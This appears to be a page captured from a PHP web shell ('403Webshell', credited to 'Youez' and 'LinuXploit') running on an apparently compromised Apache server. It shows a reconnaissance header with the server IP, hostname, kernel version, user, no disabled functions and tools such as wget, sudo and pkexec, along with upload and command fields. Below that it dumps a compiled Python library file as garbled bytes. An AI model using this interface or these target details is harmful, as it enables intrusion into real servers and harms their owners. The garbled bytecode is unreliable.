403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/papyon/gnet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/papyon/gnet/parser.pyc
Ñò
œ  Jc@sŽdZddkTddklZddkZddgZdeifd„ƒYZdefd„ƒYZei	eƒd	efd
„ƒYZ
dS(sIncomming data parsers.iÿÿÿÿ(t*(tHTTPResponseNtAbstractParsertDelimiterParsercBsTeZdZheieieffd6Zed„Z	d„Z
d„Zd„ZRS(s9Base class for all stateful parsers.

        @since: 0.1treceivedcCsXtii|ƒ|o*|id|iƒ|id|iƒn||_|iƒdS(s¦Initializer

            @param transport: the transport used to receive data
            @type transport: an object derived from
                L{io.AbstractClient}Rsnotify::statusN(tgobjecttGObjectt__init__tconnectt_on_receivedt_on_status_changet
_transportt_reset_state(tselft	transporttconnect_signals((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR's	cCs
t‚dS(sMNeeds to be overriden in order to implement the default
        parser state.N(tNotImplementedError(R
((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR4scCs1|idƒ}|tijo|iƒndS(Ntstatus(tget_propertytIoStatustOPENR(R
RtparamR((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR
9scCs
t‚dS(N(R(R
Rtbuftlength((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR	>s(
t__name__t
__module__t__doc__RtSIGNAL_RUN_FIRSTt	TYPE_NONEtobjectt__gsignals__tTrueRRR
R	(((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyRs
		cBsYeZdZd„Zd„Zd„Zd„Zd„Zd„Ze	eeddƒZ
RS(	s®Receiver class that emit received signal when a chunk of data is
    received.

    A chunk is defined by a delimiter which is either a string or an integer.

    @since: 0.1cCsti||ƒd|_dS(sInitializer

            @param transport: the transport used to receive data
            @type transport: L{io.AbstractClient}s
N(RRt_chunk_delimiter(R
R((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyRJscCs
d|_dS(Nt(t_recv_cache(R
((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyRRscCs|i|7_|iƒdS(N(R"t_process_recv_cache(R
RRR((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR	UscCs{t|iƒdjodS|idjp|idjo!|id|iƒd|_dSt|iƒ}x	t|iƒdjoòt|itƒoTt|iƒ}|i}||jo+|id|i| ƒ|i||_qHn^|ii|idƒ}t|ƒdjo%|id|dƒ|d|_n|d|_t|iƒ|jodSt|iƒ}qnWdS(NiR!Ri(tlenR"R tNonetemitt
isinstancetinttsplit(R
tprevious_lengtht	availabletrequiredts((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR#Ys. 		

cCs
||_dS(N(R (R
t	delimiter((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyt_set_chunk_delimitertscCs|iS(N(R (R
((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyt_get_chunk_delimitervstdocsqThe chunk delimiter, can be either a string or
        an integer that specify the number of bytes for each chunk(RRRRRR	R#R/R0tpropertyR.(((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyRBs						t
HTTPParsercBsMeZdZdZdZdZd„Zd„Zd„Zd„Z	d„Z
RS(	s`Receiver class that emit received signal when an HTTP response is
    received.

    @since: 0.1iiicCsRt|ƒ|_|iid|iƒ|id|iƒti||dtƒdS(NRsnotify::statusR(Rt_parserRt_on_chunk_receivedR
RRtFalse(R
R((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR‰scCs.|i|_d|_d|_d|i_dS(NR!s
(tCHUNK_START_LINEt_next_chunkt_receive_bufferR%t_content_lengthR4R.(R
((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyRs		cCsd|idƒ}|tijo|iƒn4|tijo#|i|ii7_|iƒndS(NR(	RRRRtCLOSINGR9R4R"t_HTTPParser__emit_result(R
RRR((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR
•scCs]t}|i|ijo#|i|d7_|i|_n	|i|ijoµ|i|d7_|djo@|idjo
t}q|ipd|i_|i	|_qD|i
ddƒ\}}|iƒ|iƒ}}|djot|ƒ|_qDnA|i|i	jo-|i|7_|idj	o
t}qDn|o|iƒndS(Ns
R!it:isContent-Length(R6R8R7R9t
CHUNK_HEADERSR:RR4R.t
CHUNK_BODYR)tstripR(R%R<(R
tparsertchunktcompletetheadertvalue((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR5s*


cCsL|idjodStƒ}|i|iƒ|id|ƒ|iƒdS(NR!R(R9RtparseR&R(R
tresponse((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyt
__emit_result·s	(RRRR7R>R?RRR
R5R<(((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyR3s				(Rt	constantstmessage.HTTPRRt__all__RRRt
type_registerR3(((s6/usr/lib/python2.6/site-packages/papyon/gnet/parser.pyt<module>s
$:


Youez - 2016 - github.com/yon3zu
LinuXploit